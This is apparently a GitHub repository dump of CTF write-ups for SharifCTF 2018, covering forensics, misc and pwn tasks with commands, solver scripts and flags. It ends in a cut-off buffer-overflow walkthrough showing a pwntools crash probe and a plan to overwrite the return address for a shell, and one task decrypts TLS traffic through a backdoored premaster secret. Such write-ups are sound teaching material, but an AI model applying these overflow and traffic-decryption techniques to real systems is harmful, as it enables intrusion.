valid.db) 55 | ``` 56 | ![Vimdiff output in terminal](crashed_db_diff.png) 57 | 58 | Yup, looks pretty similar. Well, other than the new, empty db has zeros instead of the data at the end and everything seems shifted by 100 bytes... 59 | 60 | ``` 61 | $ head --bytes 100 valid.db > recovered.db 62 | $ cat db0.db >> recovered.db 63 | $ sqlite3 recovered.db 64 | SQLite version 3.19.3 2017-06-08 14:26:16 65 | Enter ".help" for usage hints. 66 | sqlite> .schema tbl 67 | CREATE TABLE tbl (Glaf varchar(15), Flag varchar(1), Lfag varchar(15)); 68 | sqlite> select Flag from tbl; 69 | S 70 | h 71 | a 72 | r 73 | i 74 | f 75 | C 76 | T 77 | F 78 | { 79 | 9 80 | d 81 | a 82 | 6 83 | c 84 | 5 85 | 6 86 | 0 87 | 5 88 | 1 89 | 6 90 | c 91 | 1 92 | 3 93 | e 94 | 0 95 | 8 96 | d 97 | 0 98 | 2 99 | 8 100 | 9 101 | 3 102 | f 103 | 9 104 | 9 105 | c 106 | a 107 | 5 108 | 4 109 | 5 110 | f 111 | } 112 | sqlite> select GROUP_CONCAT(Flag, "") from tbl; 113 | SharifCTF{9da6c560516c13e08d02893f99ca545f} 114 | ``` 115 | 116 | So the db was apparently only missing 100 bytes of header, and the flag is `SharifCTF{9da6c560516c13e08d02893f99ca545f}` 117 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/forensics/CrashedDB-50/crashed_db_diff.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/forensics/CrashedDB-50/crashed_db_diff.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/forensics/Hidden-100/README.md: -------------------------------------------------------------------------------- 1 | Hidden 2 | === 3 | **Category:** Forensics **Points:** 100, **Solves:** 122, **Our rank:** 70 4 | 5 | > Find the hidden process. 6 | > 7 | > The flag is SharifCTF{MD5(Process id)}. 8 | > 9 | > [Download](dump.zip) 10 | 11 | ### Write-up 12 | In the task we are given a memory dump. We're going to use a nifty tool called [Volatility](https://github.com/volatilityfoundation/volatility). 13 | 14 | `python vol.py pslist -f dump` returns a list of processes, that are still running, and aren't hidden. 15 | 16 | ``` 17 | Volatility Foundation Volatility Framework 2.6 18 | Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit 19 | ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 20 | 0x81242a00 System 4 0 57 263 ------ 0 21 | 0xff391900 smss.exe 548 4 3 19 ------ 0 2018-01-28 16:59:16 UTC+0000 22 | 0xff36bda0 csrss.exe 620 548 12 305 0 0 2018-01-28 16:59:19 UTC+0000 23 | 0xff39f608 winlogon.exe 644 548 19 537 0 0 2018-01-28 16:59:20 UTC+0000 24 | 0xff391488 services.exe 688 644 16 353 0 0 2018-01-28 16:59:24 UTC+0000 25 | 0xff390410 lsass.exe 700 644 20 349 0 0 2018-01-28 16:59:25 UTC+0000 26 | 0xff378798 vmacthlp.exe 856 688 1 25 0 0 2018-01-28 16:59:34 UTC+0000 27 | 0xff3a59c0 svchost.exe 900 688 17 211 0 0 2018-01-28 16:59:39 UTC+0000 28 | 0xff3bc378 svchost.exe 988 688 11 235 0 0 2018-01-28 16:59:47 UTC+0000 29 | 0xff3cb6e0 svchost.exe 1024 688 54 1107 0 0 2018-01-28 16:59:51 UTC+0000 30 | 0xff2077a8 svchost.exe 1188 688 4 57 0 0 2018-01-28 16:59:53 UTC+0000 31 | 0xff3a7878 svchost.exe 1236 688 10 167 0 0 2018-01-28 16:59:56 UTC+0000 32 | 0xff1bbcf0 spoolsv.exe 1508 688 11 140 0 0 2018-01-28 17:00:19 UTC+0000 33 | 0xff1b1020 explorer.exe 1576 1444 12 404 0 0 2018-01-28 17:00:24 UTC+0000 34 | 0xff1aa9f0 svchost.exe 1604 688 4 105 0 0 2018-01-28 17:00:25 UTC+0000 35 | 0xff197b20 svchost.exe 1692 688 3 94 0 0 2018-01-28 17:00:31 UTC+0000 36 | 0x811244c0 rundll32.exe 396 1576 4 70 0 0 2018-01-28 17:02:48 UTC+0000 37 | 0xff1c30e8 wscntfy.exe 920 1024 1 31 0 0 2018-01-28 17:05:09 UTC+0000 38 | ``` 39 | Meanwhile, `python vol.py psscan -f dump` also includes hidden or already closed processes. 40 | ``` 41 | Volatility Foundation Volatility Framework 2.6 42 | Offset(P) Name PID PPID PDB Time created Time exited 43 | ------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------ 44 | 0x000000000096c0e8 wscntfy.exe 920 1024 0x007002c0 2018-01-28 17:05:09 UTC+0000 45 | 0x00000000010eb4c0 rundll32.exe 396 1576 0x007001a0 2018-01-28 17:02:48 UTC+0000 46 | 0x0000000001209a00 System 4 0 0x00359000 47 | 0x0000000001bbd488 services.exe 688 644 0x00700080 2018-01-28 16:59:24 UTC+0000 48 | 0x0000000001bbd900 smss.exe 548 4 0x00700020 2018-01-28 16:59:16 UTC+0000 49 | 0x0000000001c279c0 svchost.exe 900 688 0x00700100 2018-01-28 16:59:39 UTC+0000 50 | 0x0000000001c58798 vmacthlp.exe 856 688 0x007000c0 2018-01-28 16:59:34 UTC+0000 51 | 0x0000000001de4878 svchost.exe 1236 688 0x00700180 2018-01-28 16:59:56 UTC+0000 52 | 0x0000000001e64350 vmtoolsd.exe 404 1576 0x00700260 2018-01-28 17:02:50 UTC+0000 53 | 0x0000000001e6d608 winlogon.exe 644 548 0x00700060 2018-01-28 16:59:20 UTC+0000 54 | 0x0000000001ebe168 cmd.exe 1704 1576 0x007002a0 2018-01-28 17:30:47 UTC+0000 2018-01-28 17:34:00 UTC+0000 55 | 0x0000000001ecd378 svchost.exe 988 688 0x00700120 2018-01-28 16:59:47 UTC+0000 56 | 0x0000000001fbd6e0 svchost.exe 1024 688 0x00700140 2018-01-28 16:59:51 UTC+0000 57 | 0x0000000001fbe410 lsass.exe 700 644 0x007000a0 2018-01-28 16:59:25 UTC+0000 58 | 0x00000000021a7da0 csrss.exe 620 548 0x00700040 2018-01-28 16:59:19 UTC+0000 59 | 0x00000000025b7020 explorer.exe 1576 1444 0x007001e0 2018-01-28 17:00:24 UTC+0000 60 | 0x0000000002dbb448 wmiprvse.exe 908 900 0x00700240 2018-01-28 17:32:51 UTC+0000 2018-01-28 17:34:22 UTC+0000 61 | 0x0000000002e7eb20 svchost.exe 1692 688 0x00700220 2018-01-28 17:00:31 UTC+0000 62 | 0x000000000308d9f0 svchost.exe 1604 688 0x00700200 2018-01-28 17:00:25 UTC+0000 63 | 0x00000000031b1cf0 spoolsv.exe 1508 688 0x007001c0 2018-01-28 17:00:19 UTC+0000 64 | 0x00000000039347a8 svchost.exe 1188 688 0x00700160 2018-01-28 16:59:53 UTC+0000 65 | ``` 66 | 67 | Comparing those two lists, we see that there are three processes that differ. 68 | ``` 69 | 0x0000000001e64350 vmtoolsd.exe 404 1576 0x00700260 2018-01-28 17:02:50 UTC+0000 70 | 0x0000000001ebe168 cmd.exe 1704 1576 0x007002a0 2018-01-28 17:30:47 UTC+0000 2018-01-28 17:34:00 UTC+0000 71 | 0x0000000002dbb448 wmiprvse.exe 908 900 0x00700240 2018-01-28 17:32:51 UTC+0000 2018-01-28 17:34:22 UTC+0000 72 | ``` 73 | 74 | Two of those are already closed, that leaves us with `vmtoolsd.exe`, which has process ID equal to `404`. 75 | 76 | The flag is `SharifCTF{4f4adcbf8c6f66dcfc8a3282ac2bf10a}`. 77 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/forensics/Hidden-100/dump.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/forensics/Hidden-100/dump.zip -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/forensics/Stolen_Flag-200/README.md: -------------------------------------------------------------------------------- 1 | Stolen Flag 2 | === 3 | **Category:** Forensics **Points:** 200, **Solves:** 15, **Our rank:** 15 4 | 5 | > This PC is attacked. The flag is stolen. 6 | > Follow this link 7 | 8 | ### Write-up 9 | Given file is 800MB zip of a single >5GB Mini.vmdk file. To download that and 10 | find necessary disk space was apparently a turn off for us, as we solved this problem very last :) 11 | 12 | [VMDK](https://en.wikipedia.org/wiki/VMDK) is a file format for virtual machines hard drives. 13 | It's not too pleasant to work with on Linux, so let's first convert it into something more usable. 14 | 15 | 16 | ``` 17 | $ qemu-img convert -O raw Mini.vmdk mini.img 18 | ``` 19 | 20 | Now we can inspect the image and find partitions: 21 | ``` 22 | # kpartx -av mini.img 23 | loop0p1 : 0 1099200 /dev/loop0 1025011 24 | loop0p2 : 0 2 /dev/loop0 25 | loop0p5 : 0 4505600 /dev/loop0 1024063 26 | ``` 27 | 28 | The first one turns out to be ext4, the last one swap, and the middle one something small and strange, maybe just some kpartx artifact. 29 | We can mount the first one and see pretty much the usual root fs layout 30 | 31 | ``` 32 | # mount /dev/loop0p1 p1/ 33 | # ls p1/ 34 | bin dev etc initrd.img lib lib64 lost+found mnt proc sys usr 35 | boot home media opt root sbin srv tmp var vmlinuz 36 | 37 | ``` 38 | 39 | The filesystem however is quite empty - many usual files are missing. Root's `.bash_history` indicates why this may be the case, 40 | containing mostly multiple `rm -rf`, but on uninteresting directories like `/usr/share/icons/something`. 41 | 42 | Let's turn to swap space then. After failed attempt to inspect swap with [volatility framework](https://github.com/volatilityfoundation/volatility), 43 | googling lead me to [swap_digger](https://github.com/sevagas/swap_digger). This seems to be a quite simple tool for looking for interesting patterns in swap file. 44 | Example output from author's github: 45 | 46 | ![Swap_digger example output](https://raw.githubusercontent.com/sevagas/swap_digger/master/assets/swap_digger_extended.png) 47 | 48 | Running it did not give us anything interesting though - no passwords, some ip addresses, some unremarkable http urls. 49 | Well, and a list of organizers' windows computers at the time of creating the challenge xD : 50 | 51 | ``` 52 | [+] TOP 30 smb shares 53 | -> 3 smb://AMIRHOSEIN-LAPT/ 54 | -> 3 smb://AMIRHOSEIN-LATI/ 55 | -> 3 smb://DELL-PC/ 56 | -> 3 smb://HIVACOMPUTER/ 57 | -> 3 smb://HS-PC/ 58 | -> 3 smb://JAVAD-PC/ 59 | -> 3 smb://KARANEH-PC009/ 60 | -> 3 smb://MOHAMMAD/ 61 | -> 3 smb://MOHSEN-PC/ 62 | -> 3 smb://MREZA/ 63 | -> 3 smb://PC-2/ 64 | -> 2 smb://REZA-PC/ 65 | ``` 66 | 67 | The idea of looking for urls seemed appealing though, and swap digger only printed out the ones appearing more often. If someone were to "steal" a flag from this pc, 68 | putting it on some public clipboard service sounds like a reasonable idea, and he definitely would not do this 10 times. Let's look for more urls then: 69 | 70 | ``` 71 | # strings /dev/loop0p5 | egrep 'https?://' 72 | ``` 73 | 74 | This gave me a few hundreds of urls, with `https://gist.github.com/clipboardstolenthings` boldly standing out. 75 | The link is now dead, but it used to contain a few gists, including one with the flag: `SharifCTF{522bab2661c00e672cf1af399d6055cd}` 76 | 77 | In hindsight, possibly simple `strings Mini.vmdk | egrep 'https?://'` would work as well. 78 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/Fifteen-Puzzle-150/README.md: -------------------------------------------------------------------------------- 1 | Fifteen Puzzle 2 | === 3 | **Category:** Misc, PPC **Points:** 150, **Solves:** 126, **Our rank:** 6 4 | 5 | > You are given 128 puzzles (https://en.wikipedia.org/wiki/15_puzzle) 6 | > 7 | > The ith puzzle determines the ith bit of the flag: 8 | > 9 | > \* 1 if the puzzle is soluble 10 | > 11 | > \* 0 if the puzzle is unsoluble 12 | > 13 | > Implement is_soluble() below, and use the code to get the flag! 14 | > 15 | > **Note:** There is an important note on the News page about this challenge. 16 | > 17 | > ``` 18 | > def is_soluble(i): 19 | > return 0 20 | > flag = ' ' 21 | > for i in range(128): 22 | > flag = ('1' if is_soluble(i) else '0') + flag 23 | > print('SharifCTF{%016x}' % int(flag, 2)) 24 | > ``` 25 | > [Download](puzzles.txt) 26 | 27 | ### Note 28 | The important note said, that bit-reversed flag will also be accepted. 29 | 30 | ### Write-up 31 | The task asks us to check if given 15 puzzle is solvable. Basing on [geeksforgeeks link](https://www.geeksforgeeks.org/check-instance-15-puzzle-solvable/) we can implement it in Python with ease. Here's a full [script](script.py) that parses the input and solves the task. 32 | 33 | Flag is `SharifCTF{52d3b36b2167d2076b06d8101582b7af}.` 34 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/Fifteen-Puzzle-150/script.py: -------------------------------------------------------------------------------- 1 | N = 4 2 | def get_inv(arr): 3 | inv_cnt = 0 4 | for i in range(N**2): 5 | for j in range(i + 1, N**2): 6 | inv_cnt += (arr[j] and arr[i] and arr[i] > arr[j]) 7 | return inv_cnt 8 | 9 | def find_pos(puzzle): 10 | for index, lst in enumerate(puzzle): 11 | if 0 in lst: 12 | return N - index 13 | 14 | def is_soluble(puzzle): 15 | pos = find_pos(puzzle) 16 | inv = get_inv([num for row in puzzle for num in row]) & 1 17 | if pos % 2: 18 | return inv 19 | else: 20 | return inv ^ 1 21 | 22 | with open('puzzles.txt', 'r') as f: 23 | puzzles = f.read().splitlines() 24 | 25 | puzzles = [i for i in puzzles if '|' in i] 26 | 27 | flag = "" 28 | for i in range(128): 29 | puzzle = [] 30 | for row in puzzles[i * N: i * N + N]: 31 | row = row.split('|')[1:-1] 32 | puzzle.append([]) 33 | for index, num in enumerate(row): 34 | try: 35 | puzzle[-1].append(int(num)) 36 | except: 37 | puzzle[-1].append(0) 38 | 39 | flag = str(is_soluble(puzzle)) + flag 40 | 41 | print('SharifCTF{%016x}' % int(flag, 2)) 42 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/Nini-40/Nini.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/misc/Nini-40/Nini.jpg -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/Nini-40/README.md: -------------------------------------------------------------------------------- 1 | Nini 2 | === 3 | **Category:** Misc, **Points:** 40 + 2, **Solves:** 366, **Our rank:** 3 4 | 5 | > What is the most important prize she honored? 6 | > 7 | > The flag is SharifCTF{MD5(lowercase(Prize name))}. 8 | > 9 | > [Download](Nini.jpg) 10 | 11 | ### Write-up 12 | 13 | In the task we are given a picture 14 | 15 | ![](Nini.jpg) 16 | 17 | After plugging it into Google Reverse Search, the first link that pops up is a [Wikipedia page](https://en.wikipedia.org/wiki/Maryam_Mirzakhani) of a woman we are looking for. She won a `Fields Medal`. 18 | 19 | So we just need to find MD5 of `fields medal`, which gives us the flag `SharifCTF{537cd12c5f65d15dd11cc5d7f27127a8}`. 20 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/RichOil-400/README.md: -------------------------------------------------------------------------------- 1 | RichOil 2 | === 3 | 4 | **Category:** Misc **Points:** 400 + 80 (first blood bonus), **Solves:** 1, **Our rank:** 1 5 | 6 | 7 | > The profitable RichOil company has many competitors. Recently, RichOil tried to reinforce infrastructure of its communication system security by outsourcing the cryptosystem design to a cryptographer. 8 | > 9 | > Unfortunately, the cryptographer was hired by competitors to inject some intentional weakness in the system, for future exploits. They have recognized that the company’s financial audit lacks tax transparency. Also they have found some evidences in the weak-encrypted communications of the board of directors, with the help of the betrayer cryptographer. 10 | > 11 | > Now you should act in role of the betrayer cryptographer. Find the encrypted evidence. Captured pcap traffic, and the manipulated cryptographic library, named “tlsfuzzer”, are attached. 12 | 13 | ### Write-up 14 | 15 | So, we are given a pcap file with SSL/TLS traffic. Upon quick inspection there is one peculiarity in the captured TLS handshake, namely random bytes sent by the client look ... a bit biased: 16 | 17 | ![Client random bytes](./img/client_random.png) 18 | 19 | These bytes, together with random bytes sent back by the server, and a so called premaster secret, are used to compute a master secret which, in turn, is the source session/encryption keys are derived from ([TLS 1.1 specs](https://tools.ietf.org/html/rfc4346#section-8.1)). If we could find the value of the premaster secret for this particular session we would be able to decrypt the traffic. Luckily, we won't have to calculate the master secret and the decryption key by hand as Wireshark will do this for us automatically when given the premaster secret. 20 | 21 | Normally, the premaster secret is chosen randomly by the client or both parties, i.e., the client and server, agree upon it using the Diffie-Hellman protocol. In either case, the premaster secret is not sent in plaintext. But we know there's some custom TLS implementation involved here so perhaps it contains some bug? We have no option other than lurking into the implementation details as we were unable to spot any glaring weaknesses in the captured traffic. 22 | 23 | Googling for the "tlsfuzzer" phrase yields [a github project](https://github.com/tomato42/tlsfuzzer) under this name but the code differs significantly from the one we are provided with in the challenge. However, the same author has an earlier, currently unmaintained, version of this library in his profile. It's called [sslfuzzerpython](https://github.com/tomato42/sslfuzzerpython). Almost a perfect match! "Almost" means there are some differences reported by the diff tool. There are a few changed lines in the actual TLS suite implementation (`tls1_1API.py` script) but these are rather irrelevant. It is the change in constants.py script that makes it significant. The original sslfuzzerpython had default constant values for, e.g., the premaster secret, defined there. The modified version uses the following code for generating client random bytes and premaster secrets. 24 | 25 | ```python 26 | 27 | p=0xffffffef 28 | g=2 29 | y=0x6da68bf4L 30 | 31 | k=int(binascii.hexlify(os.urandom(32)), base=16) 32 | random=pow(g,k,p) 33 | random_str=hexTostring(str(hex(random))[2:]) 34 | random_str=random_str.rjust(32,"@") 35 | 36 | pmkey=pow(y,k,p) 37 | pmkey_str=hexTostring(str(hex(pmkey))[2:]) 38 | pmkey_str=pmkey_str.rjust(46,"$") 39 | 40 | DEFAULT_CH_CLIENT_RANDOM=random_str 41 | tls11CKEPMKey = chr(3)+chr(2)+pmkey_str 42 | 43 | ``` 44 | 45 | (The implementation of the `hexToString` function was skipped - it is basically just an elaborate version of the built-in string's method `.encode('hex')`). 46 | 47 | 48 | We have to deal with some randomness here - 32 bytes are picked (pseudo-)randomly and then is raised to the th power modulo . The result is left-padded with `@`. Hence, the large number of leading `0x40` bytes we saw in the Client Hello message before. is also used to calculate the premaster secret we are looking for. 49 | 50 | 32 bytes - that's a lot of guessing but since both values are calculated it suffices to find modulo , i.e., modulo the order of the multiplicative group of integers modulo . And itself is very small (only four bytes long). We thus have a tiny instance of the discrete logarithm problem: 51 |

52 | 53 |

54 | 55 | where `g = 2`, `r = 0xdb2ff015 = 3677351957` (trailing bytes of the client random bytes), `p = 0xffffffef = 4294967279`. It can be solved in no time using Sage - we get that . 56 | 57 | Plugging this last value as `k` into the above script we find that hex encoded `tls11CKEPMKey`, aka the premaster key, was `0302242424242424242424242424242424242424242424242424242424242424242424242424242424242424caf0e6d2`. Sweet. 58 | 59 | It remains to decrypt the traffic. As mentioned before, Wireshark can handle this tedious job for us. We can point Wireshark to a log file containing client random bytes and premaster secret: 60 | 61 | ![Preferences](./img/prefs.png) 62 | 63 | We craft a file with the following content: 64 | 65 | ``` 66 | PMS_CLIENT_RANDOM 40404040404040404040404040404040404040404040404040404040db2ff015 0302242424242424242424242424242424242424242424242424242424242424242424242424242424242424caf0e6d2 67 | ``` 68 | 69 | and then ... 70 | 71 | ![Flag](./img/flag.png) 72 | 73 | Hello, flag! -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/RichOil-400/img/client_random.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/misc/RichOil-400/img/client_random.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/RichOil-400/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/misc/RichOil-400/img/flag.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/RichOil-400/img/prefs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/misc/RichOil-400/img/prefs.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/RichOil-400/tlsfuzzer.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/misc/RichOil-400/tlsfuzzer.zip -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/The_Skeleton_Key-200/README.md: -------------------------------------------------------------------------------- 1 | The Skeleton Key 2 | === 3 | **Category:** Misc **Points:** 200, **Solves:** 47, **Our rank:** 40 4 | 5 | > Find the flag :) 6 | 7 | ### Write-up 8 | Download is 1,1MB APK file - an Android application. I'm no expert on (or fan of) Android, so I started as with any java app: 9 | 10 | ``` 11 | $ jar tvf The\ Skeleton\ Key.apk 12 | 1852 Sun Dec 11 22:49:44 CET 2016 AndroidManifest.xml 13 | 28488 Sun Dec 11 22:49:44 CET 2016 assets/logo.svg 14 | 396 Sun Dec 11 22:49:44 CET 2016 res/anim/abc_fade_in.xml 15 | 396 Sun Dec 11 22:49:44 CET 2016 res/anim/abc_fade_out.xml 16 | // Tons of similar xml, png files in res/ omitted. 17 | 4366 Sun Dec 11 22:49:26 CET 2016 res/mipmap-xhdpi-v4/ic_launcher.png 18 | 7007 Sun Dec 11 22:49:26 CET 2016 res/mipmap-xxhdpi-v4/ic_launcher.png 19 | 9490 Sun Dec 11 22:49:26 CET 2016 res/mipmap-xxxhdpi-v4/ic_launcher.png 20 | 175932 Sun Dec 11 22:49:28 CET 2016 resources.arsc 21 | 2114044 Sun Dec 11 22:49:44 CET 2016 classes.dex 22 | 31057 Sun Dec 11 22:49:44 CET 2016 META-INF/MANIFEST.MF 23 | 31086 Sun Dec 11 22:49:44 CET 2016 META-INF/CERT.SF 24 | 1107 Sun Dec 11 22:49:44 CET 2016 META-INF/CERT.RSA 25 | ``` 26 | 27 | We can use [dex2jar](https://github.com/pxb1988/dex2jar) to extract java class files from `classes.dex`. 28 | ``` 29 | $ ls sharif/cert/sharif/ 30 | BuildConfig.class R$anim.class R$bool.class R$color.class R$drawable.class R$integer.class R$mipmap.class R$styleable.class 31 | MainActivity.class R$attr.class R.class R$dimen.class R$id.class R$layout.class R$string.class R$style.class 32 | ``` 33 | Then decompile the classes and read java bytecode. 34 | 35 | 36 | ``` 37 | $ for I in $(ls *.class); do javap -c $I > src/$I.j; done 38 | $ cd src/ 39 | $ wc -l * 40 | 19 BuildConfig.class.j 41 | 33 MainActivity.class.j 42 | 27 R$anim.class.j 43 | 413 R$attr.class.j 44 | 21 R$bool.class.j 45 | 7 R.class.j 46 | 153 R$color.class.j 47 | 155 R$dimen.class.j 48 | 133 R$drawable.class.j 49 | 189 R$id.class.j 50 | 17 R$integer.class.j 51 | 81 R$layout.class.j 52 | 9 R$mipmap.class.j 53 | 45 R$string.class.j 54 | 1856 R$styleable.class.j 55 | 613 R$style.class.j 56 | 3771 total 57 | ``` 58 | 59 | Most of the classes are some boilerplate code, see for example [R$styleable.class.j](R_styleable.class.j). `MainActivity` sounds like the interesting part, and it looks like that: 60 | ``` 61 | public class sharif.cert.sharif.MainActivity extends android.support.v7.app.AppCompatActivity { 62 | public sharif.cert.sharif.MainActivity(); 63 | Code: 64 | 0: aload_0 65 | 1: invokespecial #8 // Method android/support/v7/app/AppCompatActivity."":()V 66 | 4: return 67 | 68 | protected void onCreate(android.os.Bundle); 69 | Code: 70 | 0: aload_0 71 | 1: aload_1 72 | 2: invokespecial #13 // Method android/support/v7/app/AppCompatActivity.onCreate:(Landroid/os/Bundle;)V 73 | 5: aload_0 74 | 6: ldc #14 // int 2130968600 75 | 8: invokevirtual #18 // Method setContentView:(I)V 76 | 11: aload_0 77 | 12: ldc #19 // int 2131492941 78 | 14: invokevirtual #23 // Method findViewById:(I)Landroid/view/View; 79 | 17: checkcast #25 // class android/webkit/WebView 80 | 20: astore_1 81 | 21: aload_1 82 | 22: invokevirtual #29 // Method android/webkit/WebView.getSettings:()Landroid/webkit/WebSettings; 83 | 25: iconst_1 84 | 26: invokevirtual #35 // Method android/webkit/WebSettings.setJavaScriptEnabled:(Z)V 85 | 29: aload_1 86 | 30: ldc #37 // String 87 | 32: ldc #39 // String

88 | 34: ldc #41 // String text/html 89 | 36: ldc #43 // String utf-8 90 | 38: ldc #37 // String 91 | 40: invokevirtual #47 // Method android/webkit/WebView.loadDataWithBaseURL:(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V 92 | 43: return 93 | } 94 | ``` 95 | 96 | So it initializes a `WebView`, and displays the logo from assets in it. After looking through rest of the code, 97 | I failed to find any sign of this app doing anything more, and not beliving it decided to run it. 98 | After some struggling with android emulators it turned out that yup, that's really all. God knows why android needs 15 classes and tens of xml and png files for that. 99 | 100 | So I turned to the only remaining thing - the [logo itself](logo.svg). 101 | 102 | ![Inkscape objects](inkscape1.png) 103 | 104 | ![Inkscape zoom](inkscape2.png) 105 | 106 | ![Inkscape zoom more](inkscape3.png) 107 | 108 | Disappointing. Inkscape -> Object -> Objects and zoom in was all it takes. The flag is `SharifCTF{be278492ae9b998eaebe3ca54c8000de}`. 109 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/The_Skeleton_Key-200/inkscape1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/misc/The_Skeleton_Key-200/inkscape1.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/The_Skeleton_Key-200/inkscape2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/misc/The_Skeleton_Key-200/inkscape2.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/misc/The_Skeleton_Key-200/inkscape3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/misc/The_Skeleton_Key-200/inkscape3.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/pwn/OldSchool-NewAge/README.md: -------------------------------------------------------------------------------- 1 | OldSchool-NewAge 2 | === 3 | 4 | **Category:** Pwn, **Points:** 75, **Solves:** 108, **Rank:** 17 5 | 6 | > It all started with a leak bang 7 | > 8 | > nc ctf.sharif.edu 4801 9 | > 10 | > Alternative: nc 213.233.161.38 4801 11 | 12 | ### Write-up 13 | 14 | We are given linux 32bit ELF executable and `libc.so` used on remote server. 15 | 16 | ``` 17 | Arch: i386-32-little 18 | RELRO: No RELRO 19 | Stack: No canary found 20 | NX: NX enabled 21 | PIE: No PIE (0x8048000) 22 | ``` 23 | Luckily for us, the executable is **not** position independent, so we know its `main` addresss, there is also no [canary](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries) to protect against [stack smashing](https://en.wikipedia.org/wiki/Stack_buffer_overflow). The only problem we might have is [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization)on server, as the program suggests: "This time it is randomized...". 24 | 25 | There is no source code, but luckily the application is simple enough to decompile it by any decompiler. It is [retdec](https://retdec.com/decompilation-run/) output: 26 | 27 | ``` 28 | // Address range: 0x80484cb - 0x80484e9 29 | char* copy_it(char* str2) { 30 | char str[??]; 31 | strcpy(str, str2); 32 | return NULL; 33 | } 34 | 35 | // Address range: 0x80484ea - 0x804857f 36 | int main(int argc, char** argv) { 37 | puts("This time it is randomized..."); 38 | puts("You should find puts yourself"); 39 | fflush(stdin); 40 | char str[??]; 41 | fgets(str, 200, stdin); 42 | copy_it(str); 43 | puts("done!"); 44 | return 0; 45 | } 46 | ``` 47 | 48 | Aww, it looks like the classic buffer overflow vulnerability. Buffer length might me estimated with accuracy of compiler variables alignment, but it is not really necessary here, as we can simply send long payload and see what happens. There is no canary so we can easily send long message to replace old return address with a new one - for example to `execve` from `libc` to run `/bin/sh` app. Let's first see if there is really vulnerability. 49 | 50 | ``` 51 | from pwn import * 52 | 53 | p = gdb.debug("./vuln4", "continue") 54 | 55 | p.sendline(cyclic(200)) 56 | 57 | ``` 58 | 59 | We have used here great python library `pwntools`. It starts application under gdb and sends long line to it. 60 | 61 | ``` 62 | Program received signal SIGSEGV, Segmentation fault. 63 | 0x61676161 in ?? () 64 | LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 65 | [──────────────────────────────────REGISTERS───────────────────────────────────] 66 | EAX 0x0 67 | EBX 0x0 68 | *ECX 0xffc49cc0 ◂— 'abyaa' 69 | *EDX 0xffc49c88 ◂— 'abyaa' 70 | *EDI 0xf76f2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b5db0 71 | *ESI 0x1 72 | *EBP 0x61666161 ('aafa') 73 | *ESP 0xffc49be0 ◂— 0x61686161 ('aaha') 74 | *EIP 0x61676161 ('aaga') 75 | [────────────────────────────────────DISASM────────────────────────────────────] 76 | Invalid address 0x61676161 77 | 78 | [────────────────────────────────────STACK─────────────────────────────────────] 79 | 00:0000│ esp 0xffc49be0 ◂— 0x61686161 ('aaha') 80 | 01:0004│ 0xffc49be4 ◂— 0x61696161 ('aaia') 81 | 02:0008│ 0xffc49be8 ◂— 0x616a6161 ('aaja') 82 | 03:000c│ 0xffc49bec ◂— 0x616b6161 ('aaka') 83 | 04:0010│ 0xffc49bf0 ◂— 0x616c6161 ('aala') 84 | 05:0014│ 0xffc49bf4 ◂— 0x616d6161 ('aama') 85 | 06:0018│ 0xffc49bf8 ◂— 0x616e6161 ('aana') 86 | 07:001c│ 0xffc49bfc ◂— 0x616f6161 ('aaoa') 87 | [──────────────────────────────────BACKTRACE───────────────────────────────────] 88 | ► f 0 61676161 89 | f 1 61686161 90 | f 2 61696161 91 | f 3 